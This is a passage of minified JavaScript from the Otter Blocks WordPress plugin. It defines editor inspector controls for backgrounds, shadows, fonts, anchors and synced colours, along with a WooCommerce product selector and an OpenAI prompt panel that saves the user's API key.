A.Z},LD:function(){return G},Vv:function(){return j.V},_X:function(){return q},r4:function(){return Z},Ik:function(){return g.Z}});var o=l(3532),a=l(9084),n=l(9196),r=l(5736),i=l(5609),s=l(9818),c=window.wp.htmlEntities,d=l(9307),u=l(5661),b=l(2175),m=l(4333),p=l(2136),g=l(8286);const h=({backgroundType:e,backgroundColor:t,image:l,gradient:o,backgroundAttachment:a,backgroundRepeat:s,backgroundSize:c,focalPoint:k,changeImage:y,changeColor:f,removeImage:v,changeBackgroundType:_,changeGradient:C,changeBackgroundAttachment:w,changeBackgroundRepeat:E,changeBackgroundSize:x,changeFocalPoint:S})=>{const T=`inspector-background-selector-control-${(0,m.useInstanceId)(h)}`;return(0,n.createElement)("div",{id:T,className:"components-base-control o-background-selector-control"},(0,n.createElement)(g.Z,{value:e,options:[{label:(0,r.__)("Color","otter-blocks"),value:"color"},{label:(0,r.__)("Image","otter-blocks"),value:"image"},{label:(0,r.__)("Gradient","otter-blocks"),value:"gradient"}],onChange:_}),("color"===e||void 0===e)&&(0,n.createElement)(b.__experimentalColorGradientControl,{label:(0,r.__)("Background Color","otter-blocks"),colorValue:t,onColorChange:f}),"image"===e&&(l?.url?(0,n.createElement)(d.Fragment,null,(0,n.createElement)(i.FocalPointPicker,{label:(0,r.__)("Focal point picker","otter-blocks"),url:l.url,value:k,onDragStart:S,onDrag:S,onChange:S}),(0,n.createElement)("div",{className:"o-background-image-manage"},(0,n.createElement)(b.MediaReplaceFlow,{name:(0,r.__)("Manage Image","otter-blocks"),mediaURL:l.url,mediaId:l?.id,accept:"image/*",allowedTypes:["image"],onSelect:y},(0,n.createElement)(i.MenuItem,{icon:u.Z,onClick:v},(0,r.__)("Clear Image","otter-blocks")))),(0,n.createElement)(p.Z,{label:(0,r.__)("Background Settings","otter-blocks")},(0,n.createElement)(i.SelectControl,{label:(0,r.__)("Background Attachment","otter-blocks"),value:a,options:[{label:(0,r.__)("Scroll","otter-blocks"),value:"scroll"},{label:(0,r.__)("Fixed","otter-blocks"),value:"fixed"},{label:(0,r.__)("Local","otter-blocks"),value:"local"}],onChange:w}),(0,n.createElement)(i.SelectControl,{label:(0,r.__)("Background Repeat","otter-blocks"),value:s,options:[{label:(0,r.__)("Repeat","otter-blocks"),value:"repeat"},{label:(0,r.__)("No-repeat","otter-blocks"),value:"no-repeat"}],onChange:E}),(0,n.createElement)(i.SelectControl,{label:(0,r.__)("Background Size","otter-blocks"),value:c,options:[{label:(0,r.__)("Auto","otter-blocks"),value:"auto"},{label:(0,r.__)("Cover","otter-blocks"),value:"cover"},{label:(0,r.__)("Contain","otter-blocks"),value:"contain"}],onChange:x}))):(0,n.createElement)(d.Fragment,null,(0,n.createElement)("br",null),(0,n.createElement)(b.MediaPlaceholder,{icon:"format-image",labels:{title:(0,r.__)("Background Image","otter-blocks"),name:(0,r.__)("an image","otter-blocks")},value:l?.id,onSelect:y,accept:"image/*",allowedTypes:["image"]}))),"gradient"===e&&(0,n.createElement)(b.__experimentalColorGradientControl,{label:(0,r.__)("Background Gradient","otter-blocks"),gradientValue:o,disableCustomColors:!0,onGradientChange:C,clearable:!1}))};var k=h,y=({backgroundType:e,backgroundColor:t,image:l,gradient:o,backgroundAttachment:a,backgroundRepeat:s,backgroundSize:c,focalPoint:u,backgroundOpacity:b,backgroundFilterBlur:m,backgroundFilterBrightness:g,backgroundFilterContrast:h,backgroundFilterGrayscale:y,backgroundFilterHue:f,backgroundFilterSaturate:v,backgroundBlend:_,changeImage:C,changeColor:w,removeImage:E,changeBackgroundType:x,changeGradient:S,changeBackgroundAttachment:T,changeBackgroundRepeat:B,changeBackgroundSize:M,changeFocalPoint:P,changeOpacity:z,changeFilterBlur:F,changeFilterBrightness:R,changeFilterContrast:L,changeFilterGrayscale:O,changeFilterHue:I,changeFilterSaturate:H,changeBlend:N})=>(0,n.createElement)(d.Fragment,null,(0,n.createElement)(k,{backgroundType:e,backgroundColor:t,image:l,gradient:o,focalPoint:u,backgroundAttachment:a,backgroundRepeat:s,backgroundSize:c,changeBackgroundType:x,changeImage:C,removeImage:E,changeColor:w,changeGradient:S,changeBackgroundAttachment:T,changeBackgroundRepeat:B,changeFocalPoint:P,changeBackgroundSize:M}),(0,n.createElement)(i.RangeControl,{label:(0,r.__)("Overlay Opacity","otter-blocks"),value:b,onChange:z,min:0,max:100}),(0,n.createElement)(i.SelectControl,{label:(0,r.__)("Blend Mode","otter-blocks"),value:_,options:[{label:(0,r.__)("Normal","otter-blocks"),value:"normal"},{label:(0,r.__)("Multiply","otter-blocks"),value:"multiply"},{label:(0,r.__)("Screen","otter-blocks"),value:"screen"},{label:(0,r.__)("Overlay","otter-blocks"),value:"overlay"},{label:(0,r.__)("Darken","otter-blocks"),value:"darken"},{label:(0,r.__)("Lighten","otter-blocks"),value:"lighten"},{label:(0,r.__)("Color Dodge","otter-blocks"),value:"color-dodge"},{label:(0,r.__)("Color Burn","otter-blocks"),value:"color-burn"},{label:(0,r.__)("Hard Light","otter-blocks"),value:"hard-light"},{label:(0,r.__)("Soft Light","otter-blocks"),value:"soft-light"},{label:(0,r.__)("Difference","otter-blocks"),value:"difference"},{label:(0,r.__)("Exclusion","otter-blocks"),value:"exclusion"},{label:(0,r.__)("Hue","otter-blocks"),value:"hue"},{label:(0,r.__)("Saturation","otter-blocks"),value:"saturation"},{label:(0,r.__)("Color","otter-blocks"),value:"color"},{label:(0,r.__)("Luminosity","otter-blocks"),value:"luminosity"}],onChange:N}),(0,n.createElement)(p.Z,{label:(0,r.__)("Opacity & Filters","otter-blocks")},(0,n.createElement)(i.RangeControl,{label:(0,r.__)("Blur","otter-blocks"),value:m,onChange:F,min:0,max:100}),(0,n.createElement)(i.RangeControl,{label:(0,r.__)("Brightness","otter-blocks"),value:g,onChange:R,min:0,max:100}),(0,n.createElement)(i.RangeControl,{label:(0,r.__)("Contrast","otter-blocks"),value:h,onChange:L,min:0,max:100}),(0,n.createElement)(i.RangeControl,{label:(0,r.__)("Grayscale","otter-blocks"),value:y,onChange:O,min:0,max:100}),(0,n.createElement)(i.RangeControl,{label:(0,r.__)("Hue","otter-blocks"),value:f,onChange:I,min:0,max:360}),(0,n.createElement)(i.RangeControl,{label:(0,r.__)("Saturation","otter-blocks"),value:v,onChange:H,min:0,max:100}))),f=({boxShadow:e,onChange:t})=>(0,n.createElement)(p.Z,{label:(0,r.__)("Shadow Settings","otter-blocks"),attributes:e,setAttributes:t,resetValues:{active:!1,color:void 0,colorOpacity:50,blur:5,spread:1,horizontal:0,vertical:0},onClick:()=>t({active:!0})},(0,n.createElement)(d.Fragment,null,(0,n.createElement)(b.__experimentalColorGradientControl,{label:(0,r.__)("Shadow Color","otter-blocks"),colorValue:e.color,onColorChange:e=>t({color:e})}),(0,n.createElement)(i.RangeControl,{label:(0,r.__)("Opacity","otter-blocks"),value:e.colorOpacity,onChange:e=>t({colorOpacity:e}),min:0,max:100}),(0,n.createElement)(i.RangeControl,{label:(0,r.__)("Blur","otter-blocks"),value:e.blur,onChange:e=>t({blur:e}),min:0,max:100}),(0,n.createElement)(i.RangeControl,{label:(0,r.__)("Spread","otter-blocks"),value:e.spread,onChange:e=>t({spread:e}),min:-100,max:100}),(0,n.createElement)(i.RangeControl,{label:(0,r.__)("Horizontal","otter-blocks"),value:e.horizontal,onChange:e=>t({horizontal:e}),min:-100,max:100}),(0,n.createElement)(i.RangeControl,{label:(0,r.__)("Vertical","otter-blocks"),value:e.vertical,onChange:e=>t({vertical:e}),min:-100,max:100}))),v=l(3967),_=l.n(v),C=({label:e,indicator:t,children:l})=>(0,n.createElement)(i.Dropdown,{popoverProps:{placement:"left-start",offset:36,shift:!0},className:"o-button-dropdown-control",contentClassName:"o-button-dropdown-control-content",renderToggle:({isOpen:l,onToggle:o})=>(0,n.createElement)(i.Button,{className:_()("o-button-dropdown-control-button",{"is-open":l}),onClick:o,"aria-expanded":l},(0,n.createElement)(i.ColorIndicator,{colorValue:t}),e),renderContent:()=>(0,n.createElement)("div",{className:"block-editor-block-inspector"},l)}),w=({label:e,help:t,options:l,value:o,onChange:a})=>(0,n.createElement)(i.BaseControl,{label:e,help:t},(0,n.createElement)("div",{className:"o-button-toggle"},l.map((e=>(0,n.createElement)(i.Button,{className:_()("o-button-toggle__item",{"is-active":e.value===o}),key:e.value,variant:"secondary",label:e.label,"aria-current":e.value===o,onClick:()=>a(e.value)},e.label))))),E=l(2819),x=({values:e,setAttributes:t})=>(0,n.createElement)("div",{className:"o-clear-button"},(0,n.createElement)(i.Button,{isSmall:!0,isSecondary:!0,onClick:()=>{const l=((0,E.isArray)(e)?e:[e]).map((e=>{if((0,E.isString)(e))return e;if((0,E.isObject)(e)){const t=Object.keys(e);if(1===t.length)return e[t[0]]?t[0]:void 0}})).filter(E.isString).reduce(((e,t)=>(e[t]=void 0,e)),{});t(l)}},(0,r.__)("Clear","otter-blocks"))),S=({label:e,colorValue:t,gradientValue:l,onColorChange:o,onGradientChange:a,className:r})=>(0,n.createElement)(i.Dropdown,{popoverProps:{placement:"left-start",offset:36,shift:!0},className:_()("o-color-dropdown-control",r),contentClassName:"o-color-dropdown-control-content",renderToggle:({isOpen:o,onToggle:a})=>(0,n.createElement)(i.Button,{className:_()("o-color-dropdown-control-button",{"is-open":o}),onClick:a,"aria-expanded":o},(0,n.createElement)(i.ColorIndicator,{colorValue:null!=t?t:l}),e),renderContent:()=>(0,n.createElement)(b.__experimentalColorGradientControl,{colorValue:t,onColorChange:o,gradientValue:l,onGradientChange:a})}),T=l(3082),B=l.n(T),M=l(2154);const P=({label:e,value:t,valueVariant:l,valueStyle:o,valueTransform:a,isSelect:s=!1,onChangeFontFamily:c,onChangeFontVariant:u,onChangeFontStyle:b,onChangeTextTransform:p})=>{const g=(0,m.useInstanceId)(P);(0,d.useEffect)((()=>{M.Z.afterLoading().then((e=>{k(e.fonts),t&&f(e.getVariants(t))}))}),[]);const[h,k]=(0,d.useState)(null),[y,f]=(0,d.useState)(null),[v,C]=(0,d.useState)(""),w=`inspector-google-fonts-control-${g}`;return(0,n.createElement)("div",{className:"o-gfont-control"},(0,n.createElement)(i.BaseControl,{label:e,id:w},null!==h?s?(0,n.createElement)(i.SelectControl,{value:t||"",id:w,options:[{label:(0,r.__)("Default","otter-blocks"),value:""},...h.map((e=>({label:e.family,value:e.family})))],onChange:e=>{let t=[];if(loadFontToPage(e,"regular",h),""===e)return t=[{label:(0,r.__)("Regular","otter-blocks"),value:"regular"},{label:(0,r.__)("Italic","otter-blocks"),value:"italic"}],c(void 0),void f(t);c(e),t=h.find((t=>e===t.family)).variants.filter((e=>!1===e.includes("italic"))).map((e=>({label:(0,E.startCase)((0,E.toLower)(e)),value:e}))),f(t)}}):(0,n.createElement)(i.Dropdown,{contentClassName:"o-gfont-popover",position:"bottom center",renderToggle:({isOpen:e,onToggle:l})=>(0,n.createElement)(i.Button,{className:"o-gfont-button",id:w,onClick:l,"aria-expanded":e},t||(0,r.__)("Select Font Family","otter-blocks")),renderContent:({onToggle:e})=>(0,n.createElement)(i.MenuGroup,{label:(0,r.__)("Google Fonts","otter-blocks")},(0,n.createElement)(i.TextControl,{value:v,onChange:e=>C(e)}),(0,n.createElement)("div",{className:"components-popover__items"},(0,n.createElement)(i.MenuItem,{onClick:()=>{e(),c(void 0),f([]),C("")}},(0,r.__)("Default","otter-blocks")),h.map(((l,o)=>{if(!v||l.family.toLowerCase().includes(v.toLowerCase()))return(0,n.createElement)(i.MenuItem,{key:o,className:_()({"is-selected":l.family===t}),onClick:()=>{e(),c(l.family);const t=l.variants.filter((e=>!1===e.includes("italic"))).map((e=>({label:(0,E.startCase)((0,E.toLower)(e)),value:e})));f(t),C("")}},(0,n.createElement)(B(),{onChange:e=>{e&&M.Z.addPreviewFont(l.family,l.family)}},(0,n.createElement)("div",{style:{fontFamily:l.family}},l.family)))}))))}):(0,r.__)("Loading…","otter-blocks")),y&&(0,n.createElement)(i.SelectControl,{label:(0,r.__)("Font Weight","otter-blocks"),value:l||"regular",options:y,onChange:u}),(0,n.createElement)(i.SelectControl,{label:(0,r.__)("Font Style","otter-blocks"),value:o,options:[{label:(0,r.__)("Regular","otter-blocks"),value:"normal"},{label:(0,r.__)("Italic","otter-blocks"),value:"italic"}],onChange:b}),(0,n.createElement)(i.SelectControl,{label:(0,r.__)("Font Transform","otter-blocks"),value:a,options:[{label:(0,r.__)("Default","otter-blocks"),value:"none"},{label:(0,r.__)("Uppercase","otter-blocks"),value:"uppercase"},{label:(0,r.__)("Lowercase","otter-blocks"),value:"lowercase"},{label:(0,r.__)("Capitalize","otter-blocks"),value:"capitalize"}],onChange:p}))};var z=P;const F=({value:e,onChange:t})=>{const l=(0,m.useInstanceId)(F);(0,d.useEffect)((()=>c(e)),[e]);const[o,a]=(0,d.useState)(!1),[s,c]=(0,d.useState)(null),u=void 0!==window.themeisleGutenberg.blockIDs&&e!==s&&window.themeisleGutenberg.blockIDs.includes(s);return(0,n.createElement)(b.InspectorAdvancedControls,null,(0,n.createElement)(i.BaseControl,{label:(0,r.__)("HTML Anchor","otter-blocks"),help:(0,r.__)("Anchors lets you link directly to a section on a page.","otter-blocks"),id:`o-html-anchor-control-${l}`},(0,n.createElement)("div",{className:"o-html-anchor-control"},(0,n.createElement)("input",{type:"text",className:"o-html-anchor-control-input",readOnly:!o&&"readonly",value:o?s:e,onChange:e=>c(e.target.value),onClick:e=>e.target.select()}),(0,n.createElement)(i.Button,{icon:o?"yes":"edit",label:o?(0,r.__)("Save","otter-blocks"):(0,r.__)("Edit","otter-blocks"),showTooltip:!0,disabled:!!u,className:_()("o-html-anchor-control-button",{"is-saved":!o}),onClick:()=>{if(o&&e!==s){const l=window.themeisleGutenberg.blockIDs.findIndex((t=>t===e));window.themeisleGutenberg.blockIDs[l]=s,t(s)}a(!o)}}))),u&&(0,n.createElement)(i.Notice,{status:"warning",isDismissible:!1,className:"o-html-anchor-control-notice"},(0,r.__)("This ID has already been used in this page. Please consider using a different ID to avoid conflict.","otter-blocks")))};var R=F,L=l(1070),O=l(2285),I=({value:e,options:t,onChange:l})=>(0,n.createElement)(i.PanelBody,{className:"o-inspector-header"},t.map(((t,o)=>(0,n.createElement)(i.Button,{key:o,className:_()({"is-active":t.value===e}),onClick:()=>l(t.value)},t.label)))),H=l(8504),N=({label:e,onDelete:t,children:l})=>{const[o,a]=(0,d.useState)(!1);return(0,n.createElement)("div",{className:"o-panel-tab"},(0,n.createElement)("div",{className:"o-panel-tab__header"},(0,n.createElement)("div",{className:"o-panel-tab__header__label"},e),(0,n.createElement)(i.Button,{icon:o?"arrow-up-alt2":"arrow-down-alt2",label:o?(0,r.__)("Close Settings","otter-blocks"):(0,r.__)("Open Settings","otter-blocks"),showTooltip:!0,onClick:()=>a(!o)}),(0,n.createElement)(i.Button,{icon:"no-alt",label:(0,r.__)("Delete","otter-blocks"),showTooltip:!0,onClick:t})),o&&(0,n.createElement)("div",{className:"o-panel-tab__content"},l))},A=l(6993),V=l(4715);const D=({label:e,value:t,onChange:l,help:o="",allowRawHTML:a=!1,area:r=""})=>{const s=(0,m.useInstanceId)(D),c=(0,d.useRef)(null),u=()=>{void 0!==c?.current?.id&&wp.oldEditor.remove(c.current.id)};(0,d.useEffect)((()=>{const e={classic_block_editor:!0,plugins:"lists,media,paste,tabfocus,wordpress,wpautoresize,wpeditimage,wpgallery,wplink,wpdialogs,wptextpattern,wpview",toolbar1:"formatselect,bold,italic,bullist,numlist,alignleft,aligncenter,alignright,link,unlink,spellchecker,wp_add_media"};a&&(e.force_p_newlines=!1,e.forced_root_block=""),wp.oldEditor.initialize(c.current.id,{tinymce:{...e}});const t=window.tinymce.get(c.current.id);return t.on("change",(()=>{l(a?(0,V.b8)(t.getContent()):t.getContent())})),u}),[]);const b=`inspector-textarea-control-${s}-${r}`;return(0,n.createElement)(i.BaseControl,{id:b,label:e,help:o},(0,n.createElement)("textarea",{id:b,className:"components-textarea-control__input",rows:4,value:t,onChange:e=>l(e.target.value),ref:c}))};var G=D,j=l(5241),W=l(3279),$=l(8184);const U=()=>{};var Z=({isSynced:e=[],options:t,setAttributes:l})=>{const{enableComplementaryArea:o}=(0,s.useDispatch)("core/interface");return 0===t.length?null:(0,n.createElement)(i.__experimentalHStack,{className:"o-sync-manage-control"},(0,n.createElement)(i.__experimentalHeading,null,(0,r.__)("Sync with Global Defaults","otter-blocks")),(0,n.createElement)(i.DropdownMenu,{icon:W.Z,label:(0,r.__)("View options","otter-blocks"),toggleProps:{isSmall:!0}},(({onClose:a=U})=>(0,n.createElement)(d.Fragment,null,(0,n.createElement)(i.MenuGroup,null,t.filter((e=>!e?.isHidden)).map((t=>{const o=e.includes(t.value);return(0,n.createElement)(i.MenuItem,{key:t.value,icon:o&&$.Z,isSelected:o,label:t.label,onClick:()=>(t=>{let o=[...e||[]];const a=e?.includes(t);if(a){const e=o.indexOf(t);-1!==e&&o.splice(e,1)}else o.push(t);0===o.length&&(o=void 0),l({isSynced:o})})(t.value),role:"menuitemcheckbox"},t.label)}))),(0,n.createElement)(i.MenuGroup,null,(0,n.createElement)(i.MenuItem,{onClick:()=>o("core/edit-post","themeisle-blocks/otter-options")},(0,r.__)("Manage Global Defaults","otter-blocks")),(0,n.createElement)(i.MenuItem,{variant:"tertiary",onClick:()=>{(()=>{let o=[...e||[]];t.forEach((t=>{e?.includes(t.value)||o.push(t.value)})),l({isSynced:o})})(),a()}},(0,r.__)("Apply all","otter-blocks")),(0,n.createElement)(i.MenuItem,{variant:"tertiary",onClick:()=>{(()=>{let o=[...e||[]];t.forEach((t=>{if(e?.includes(t.value)){const e=o?.indexOf(t.value);void 0!==e&&-1!==e&&o?.splice(e,1)}})),0===o.length&&(o=void 0),l({isSynced:o})})(),a()}},(0,r.__)("Reset all","otter-blocks")))))))},q=e=>{const{label:t,initialOpen:l=!1,isSynced:o,options:a,setAttributes:r,children:s}=e;return(0,n.createElement)(i.PanelBody,{title:t,initialOpen:l,className:"o-sync-color-panel"},(0,n.createElement)(Z,{isSynced:o,options:a?.map((e=>({label:e.label,value:e.slug}))),setAttributes:r}),a.map(((e,t)=>(0,n.createElement)(i.Disabled,{key:t,isDisabled:o?.includes(e.slug)||!1,className:"o-disabled"},(0,n.createElement)(S,{label:e.label,colorValue:e.value,onColorChange:t=>r({[e.slug]:t}),className:_()("is-list",{"is-first":0===t})})))),s)};l(2377),window.otterComponents={},window.otterComponents.SelectProducts=({label:e,value:t,onChange:l,...o})=>{const{results:a,status:d,isLoading:u}=(0,s.useSelect)((e=>{let t=[],l="loading";const{COLLECTIONS_STORE_KEY:o}=window.wc.wcBlocksData;var a;return e(o).getCollectionError("/wc/store","products",{per_page:0})?l="error":(t="error"===l?[]:(null!==(a=e(o).getCollection?.("/wc/store","products",{per_page:0}))&&void 0!==a?a:[])?.map((e=>({value:e.id,label:(0,c.decodeEntities)(e.name)}))),l="loaded",t=[{value:0,label:(0,r.__)("None","otter-blocks")},...t]),{results:t,status:l,isLoading:e(o).isResolving("getCollection",["/wc/store","products",{per_page:0}])}}),[]);return u?(0,n.createElement)(i.Placeholder,null,(0,n.createElement)(i.Spinner,null)):"error"===d?(0,n.createElement)("p",null,(0,r.__)("There seems to have been an error","otter-blocks")):(0,n.createElement)(i.SelectControl,{label:e,value:Number(t),options:a,onChange:e=>l(Number(e)),...o})},window.otterComponents.Notice=a.Z,window.otterComponents.useInspectorSlot=o.R},3532:function(e,t,l){l.d(t,{R:function(){return c},p:function(){return d}});var o=l(9196),a=(l(5736),l(2175)),n=l(5609);const{Fill:r,Slot:i}=(0,n.createSlotFill)("OtterInspectorExtensions"),s=["themeisle-blocks/accordion","themeisle-blocks/advanced-columns","themeisle-blocks/advanced-column","themeisle-blocks/advanced-heading","themeisle-blocks/countdown","themeisle-blocks/flip","themeisle-blocks/form","themeisle-blocks/google-map","themeisle-blocks/icon-list","themeisle-blocks/popup","themeisle-blocks/posts-grid","themeisle-blocks/review","themeisle-blocks/slider"],c=e=>s.includes(e)?r:a.InspectorControls,d=()=>(0,o.createElement)(i,null,(e=>e.length?e:null))},8504:function(e,t,l){var o=l(9196),a=l(8406),n=l(6421),r=l(5736),i=l(2175),s=l(5609),c=l(9307),d=l(9630);t.Z=({isSelected:e,url:t,setAttributes:l,opensInNewTab:u})=>{const[b,m]=(0,c.useState)(!1),p=!!t,g=p&&e,h=()=>(m(!0),!1),k=()=>{l({link:void 0,newTab:void 0}),m(!1)},y=b&&(0,o.createElement)(s.Popover,{position:"bottom right",onClose:()=>m(!1)},(0,o.createElement)(i.__experimentalLinkControl,{className:"wp-block-navigation-link__inline-link-input",value:{url:t,opensInNewTab:u},onChange:({url:e="",opensInNewTab:t})=>{l({link:e}),u!==t&&l({newTab:t})},onRemove:k}));return(0,o.createElement)(c.Fragment,null,(0,o.createElement)(s.ToolbarGroup,null,!p&&(0,o.createElement)(s.ToolbarButton,{name:"link",icon:a.Z,title:(0,r.__)("Link","otter-blocks"),shortcut:d.displayShortcut.primary("k"),onClick:h,className:"o-toolbar-icon"}),g&&(0,o.createElement)(s.ToolbarButton,{name:"link",icon:n.Z,title:(0,r.__)("Unlink","otter-blocks"),shortcut:d.displayShortcut.primaryShift("k"),onClick:Boolean(window.themeisleGutenberg.isLegacyPre59)?k:h,isActive:!0,className:"o-toolbar-icon"})),e&&(0,o.createElement)(s.KeyboardShortcuts,{bindGlobal:!0,shortcuts:{[d.rawShortcut.primary("k")]:h,[d.rawShortcut.primaryShift("k")]:k}}),y)}},9084:function(e,t,l){var o=l(9196),a=l(5609),n=l(5430);t.Z=({notice:e,variant:t="default",instructions:l})=>(0,o.createElement)("div",{className:`o-notice is-${t}`},e,l&&(0,o.createElement)(a.Tooltip,{text:l,position:"bottom center"},n.Z))},2377:function(e,t,l){l.d(t,{Z:function(){return k},$:function(){return g}});var o=l(9196),a=l(5736),n=l(7231),r=l(802),i=l(1819),s=l(5609),c=l(9307),d=l(141),u=l(8510),b=l(1984),m=l(340),p=e=>{const t=(0,c.useRef)(null);return(0,o.createElement)("div",{className:"prompt-input__container"},(0,o.createElement)("div",{className:"prompt-input__input__container"},(0,o.createElement)(b.Z,{icon:m.aiGeneration,width:24}),(0,o.createElement)("textarea",{ref:t,className:"prompt-input__input",onChange:l=>{e.onValueChange(l.target.value),t.current&&(t.current.style.cssText="height:auto; padding:0; overflow-y: hidden;",t.current.style.cssText="height:"+t.current.scrollHeight+"px; overflow-y: auto;")},placeholder:e.placeholder,rows:1,onKeyDown:t=>{"Enter"!==t.key||t.shiftKey||(t.preventDefault(),e.onGenerate())}},e.value),(0,o.createElement)("div",{className:"prompt-input__submit__container"},(0,o.createElement)(s.Button,{variant:"secondary",onClick:e.onGenerate,isBusy:"loading"===e.status,disabled:"loading"===e.status||0===e.value.length},(0,a.__)("Generate","otter-blocks")))))};const g="themeisle_open_ai_api_key",h=e=>{var t;return(0,o.createElement)("div",{className:"prompt-result__container"},(0,o.createElement)("div",{className:"prompt-result__header"},(0,o.createElement)("div",{className:"prompt-result__header__title"},null!==(t=e?.title)&&void 0!==t?t:(0,a.__)("Result","otter-blocks")),(0,o.createElement)("div",{className:"prompt-result__header__actions"},(0,o.createElement)(s.Button,{variant:"tertiary",onClick:e.onClose,icon:n.Z}))),(0,o.createElement)("div",{className:"prompt-result__content"},e.children),(0,o.createElement)("div",{className:"prompt-result__actions"},e.actionButtons,e.showRegenerate&&(0,o.createElement)(s.Button,{variant:"tertiary",onClick:e.onRegenerate,disabled:"loading"===e.status},(0,a.__)("Regenerate","otter-blocks")),(0,o.createElement)("div",{className:"prompt-result__actions__navigation"},0<e.totalResults&&(0,o.createElement)(c.Fragment,null,(0,o.createElement)(s.Button,{variant:"tertiary",icon:r.Z,onClick:e.onPrevResult,disabled:1===e.currentResultIndex}),(0,o.createElement)("div",{className:"prompt-result__actions__navigation__current"},e.currentResultIndex," / ",e.totalResults),(0,o.createElement)(s.Button,{variant:"tertiary",icon:i.Z,onClick:e.onNextResult,disabled:e.totalResults===e.currentResultIndex})))),(0,o.createElement)("span",{className:"prompt-token-usage"},e.tokenUsageDescription))};var k=e=>{var t;const{title:l,value:n,onValueChange:r,promptID:i}=e,[b,m,k]=(0,d.Z)(),[y,f]=(0,c.useState)(null),[v,_]=(0,c.useState)("loaded"),[C,w]=(0,c.useState)(window.themeisleGutenberg?.hasOpenAiKey?"present":"checking"),[E,x]=(0,c.useState)([]),[S,T]=(0,c.useState)(void 0),[B,M]=(0,c.useState)(null!==(t=e.resultHistory)&&void 0!==t?t:[]),[P,z]=(0,c.useState)(0),[F,R]=(0,c.useState)(!1),[L,O]=(0,c.useState)(!1),[I,H]=(0,c.useState)(""),[N,A]=(0,c.useState)("");function V(t=!1){let l=E?.find((e=>e.otter_name===i));if(void 0===l)return O(!0),void H((0,a.__)("Prompt not found. Reload the page. If the error still persist the server might be down.","otter-blocks"));if("textTransformation"===i){var o;const e=null!==(o=l?.otter_action_prompt)&&void 0!==o?o:"";l=(0,u.j1)(l,e)}if("patternsPicker"===i&&window.themeisleGutenberg?.hasPro){var r;const e=null!==(r=l?.otter_pro_addon)&&void 0!==r?r:[];e?.forEach((e=>{l&&(l=(0,u.jh)(l,e))}))}if("present"!==C)return O(!0),void H((0,a.__)("API Key not found. Please add your API Key in the settings page.","otter-blocks"));_("loading");const s=t?u.XD:u.C4;window.oTrk?.add({feature:"ai-generation",featureComponent:"prompt",featureValue:n},{consent:!0}),s?.(n,l,{otter_used_action:"textTransformation"===i?"textTransformation::otter_action_prompt":null!=i?i:"",otter_user_content:n}).then((l=>{var o,r;if(l?.error)return _("error"),O(!0),void H(null!==(r=`Error ${l.error.code} - ${l.error.message}`)&&void 0!==r?r:(0,a.__)("Something went wrong. Please try again.","otter-blocks"));const i=null!==(o=l?.choices?.[0]?.message?.function_call?.arguments)&&void 0!==o?o:l?.choices?.[0]?.message?.content;if(_("loaded"),!i)return O(!0),void H((0,a.__)("Empty response from OpenAI. Please try again.","otter-blocks"));if(T(i),t){const e=[...B];e[P]={result:i,meta:{usedToken:l.usage.total_tokens,prompt:n}},M(e)}else M([...B,{result:i,meta:{usedToken:l.usage.total_tokens,prompt:n}}]),z(B.length);R(!0),A((0,a.__)("Token used: ","otter-blocks")+l.usage.total_tokens),e.onPreview?.(i)}))}return(0,c.useEffect)((()=>{(async()=>{(0,u.el)(i).then((e=>{x(e.prompts)}))})()}),[]),(0,c.useEffect)((()=>{"loading"!==k&&"present"!==C&&("loaded"===k&&(b(g)?(w("present"),f(b(g))):w("missing")),"error"===k&&w("error"))}),[k,b,C]),(0,c.useEffect)((()=>{z(B.length-1)}),[B]),(0,c.useEffect)((()=>{0>P||P>B.length-1||(T(B?.[P].result),A((0,a.__)("Used tokens: ","otter-blocks")+B[P].meta.usedToken),e.onPreview?.(B[P].result))}),[P,B]),"present"!==C?(0,o.createElement)(s.Placeholder,{className:"prompt-placeholder",label:(0,a.__)("OpenAI API Key","otter-blocks")},"checking"===C&&(0,o.createElement)("div",{style:{display:"flex",flexDirection:"row"}},(0,o.createElement)(s.Spinner,null),(0,o.createElement)("span",null,(0,a.__)("Checking the api key...","otter-blocks"))),"missing"===C&&(0,o.createElement)(c.Fragment,null,(0,o.createElement)("span",null,(0,a.__)("API Key not found. Please introduce the API Key","otter-blocks")),(0,o.createElement)(s.TextControl,{value:null!=y?y:"",onChange:e=>{f(e)}}),(0,o.createElement)("div",{className:"prompt-placeholder__submit"},(0,o.createElement)(s.Button,{variant:"primary",disabled:!y||"saving"===k,onClick:()=>{y&&(m(g,y.slice(),(0,a.__)("Open AI API Key saved.","otter-blocks"),"o-api-key",(()=>{f("")})),w("checking"))},isBusy:"loading"===k},"loading"!==k&&(0,a.__)("Save","otter-blocks"),"loading"===k&&(0,o.createElement)(c.Fragment,null,(0,o.createElement)("span",null,(0,a.__)("Saving","otter-blocks"))))),(0,o.createElement)("p",null),(0,o.createElement)("div",{className:"o-info-row"},(0,o.createElement)(s.ExternalLink,{href:"https://platform.openai.com/account/api-keys"},(0,a.__)("Get your API Key","otter-blocks")),(0,o.createElement)(s.ExternalLink,{href:"https://docs.themeisle.com/article/1916-how-to-generate-an-openai-api-key"},(0,a.__)("More Info","otter-blocks"))))):(0,o.createElement)(c.Fragment,null,0<B?.length?(0,o.createElement)(h,{title:e.title,currentResultIndex:P+1,totalResults:B.length,onPrevResult:()=>{z(P-1)},onNextResult:()=>{z(P+1)},onClose:()=>{e.onClose?.()},tokenUsageDescription:N,onRegenerate:()=>V(!0),actionButtons:e.actionButtons?.({status:v}),status:v,currentPrompt:n,showRegenerate:Boolean(B?.[P]?.meta?.prompt)},(0,o.createElement)(p,{value:n,onValueChange:r,onGenerate:()=>{O(!1),V()},status:v,placeholder:e.promptPlaceholder}),e.children):(0,o.createElement)(p,{value:n,onValueChange:r,onGenerate:()=>V(),status:v,placeholder:e.promptPlaceholder}),L&&(0,o.createElement)(s.Notice,{status:"warning",isDismissible:!0,onDismiss:()=>O(!1)},I))}},6993:function(e,t,l){var o=l(9196),a=l(3967),n=l.n(a),r=l(1610),i=l(3636),s=l(4188),c=l(5736),d=l(5609),u=l(4333),b=l(9818);const m=({label:e,className:t,children:l})=>{const a=(0,u.useInstanceId)(m),p=(0,u.useViewportMatch)("large",">="),g=(0,u.useViewportMatch)("large","<="),h=(0,u.useViewportMatch)("small",">="),k=(0,u.useViewportMatch)("small","<="),y=!(p||g||h||k),f=(0,b.useSelect)((e=>{const{getView:t}=e("themeisle-gutenberg/data"),{__experimentalGetPreviewDeviceType:l}=!!e("core/edit-post")&&e("core/edit-post");return 